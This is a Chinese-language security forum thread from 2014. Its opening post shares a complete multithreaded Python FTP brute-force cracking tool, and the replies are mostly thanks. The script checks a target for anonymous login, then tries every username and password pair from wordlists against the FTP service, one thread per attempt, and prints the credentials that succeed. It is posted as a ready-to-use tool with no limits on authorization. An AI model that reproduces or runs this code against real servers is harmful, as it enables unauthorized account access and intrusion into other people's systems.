查看: 20610|回复: 9

[工具专区] [Python] FTP暴力破解工具多线程版

[复制链接]
发表于 2014-9-19 20:05:45 | 显示全部楼层 |阅读模式

  1. #!/usr/bin/env python
  2. # -*- coding: gbk -*-
  3. # -*- coding: utf_8 -*-
  4. # Date: 2014/9/5
  5. # Created by 独自等待
  6. # 博客 http://www.waitalone.cn/
  7. from threading import Thread
  8. import ftplib, socket
  9. import sys, time, re


  10. def usage():
  11.     print '+' + '-' * 50 + '+'
  12.     print '\t    Python FTP暴力破解工具多线程版'
  13.     print '\t   Blog:http://www.waitalone.cn/'
  14.     print '\t\t Code BY: 独自等待'
  15.     print '\t\t Time:2014-09-05'
  16.     print '+' + '-' * 50 + '+'
  17.     if len(sys.argv) != 4:
  18.         print "用法: ftpbrute_mult.py 待破解的ip/domain 用户名列表 字典列表"
  19.         print "实例: ftpbrute_mult.py www.waitalone.cn user.txt pass.txt"
  20.         sys.exit()


  21. def brute_anony():
  22.     try:
  23.         print '[+] 测试匿名登陆……\n'
  24.         ftp = ftplib.FTP()
  25.         ftp.connect(host, 21, timeout=10)
  26.         print 'FTP消息: %s \n' % ftp.getwelcome()
  27.         ftp.login()
  28.         ftp.retrlines('LIST')
  29.         ftp.quit()
  30.         print '\n[+] 匿名登陆成功……\n'
  31.     except ftplib.all_errors:
  32.         print '\n[-] 匿名登陆失败……\n'


  33. def brute_users(user, pwd):
  34.     try:
  35.         ftp = ftplib.FTP()
  36.         ftp.connect(host, 21, timeout=10)
  37.         ftp.login(user, pwd)
  38.         ftp.retrlines('LIST')
  39.         ftp.quit()
  40.         print '\n[+] 破解成功,用户名:%s 密码:%s\n' % (user, pwd)
  41.     except ftplib.all_errors:
  42.         pass


  43. if __name__ == '__main__':
  44.     usage()
  45.     start_time = time.time()
  46.     if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
  47.         host = sys.argv[1]
  48.     else:
  49.         host = socket.gethostbyname(sys.argv[1])
  50.     userlist = [i.rstrip() for i in open(sys.argv[2])]
  51.     passlist = [j.rstrip() for j in open(sys.argv[3])]
  52.     print '目  标:%s \n' % sys.argv[1]
  53.     print '用户名:%d 条\n' % len(userlist)
  54.     print '密  码:%d 条\n' % len(passlist)
  55.     brute_anony()
  56.     print '\n[+] 暴力破解测试中……\n'
  57.     thrdlist = []
  58.     for user in userlist:
  59.         for pwd in passlist:
  60.             t = Thread(target=brute_users, args=(user, pwd))
  61.             t.start()
  62.             thrdlist.append(t)
  63.             time.sleep(0.009)
  64.     for x in thrdlist:
  65.         x.join()
  66.     print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

复制代码


1.png
回复

使用道具 举报

头像被屏蔽
发表于 2014-9-19 23:57:52 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复 支持 反对

使用道具 举报

发表于 2014-9-24 21:04:59 | 显示全部楼层
谢谢楼主...收藏了...
回复 支持 反对

使用道具 举报

发表于 2014-9-27 09:18:44 | 显示全部楼层
下载地址没有
回复 支持 反对

使用道具 举报

发表于 2014-9-27 14:50:43 | 显示全部楼层
谢谢楼主
回复 支持 反对

使用道具 举报

发表于 2014-9-27 16:19:51 | 显示全部楼层
这个没地址。
回复 支持 反对

使用道具 举报

发表于 2014-10-1 08:49:06 | 显示全部楼层
顶起Python!!
回复 支持 反对

使用道具 举报

发表于 2014-11-2 19:43:16 | 显示全部楼层
不知道威力怎么样
回复 支持 反对

使用道具 举报

发表于 2015-5-2 18:09:34 | 显示全部楼层
1111111111111111111111111111111
回复 支持 反对

使用道具 举报

发表于 2021-1-25 11:44:33 | 显示全部楼层
感谢大神分享        
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-10 12:31 , Processed in 0.022173 second(s), 13 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部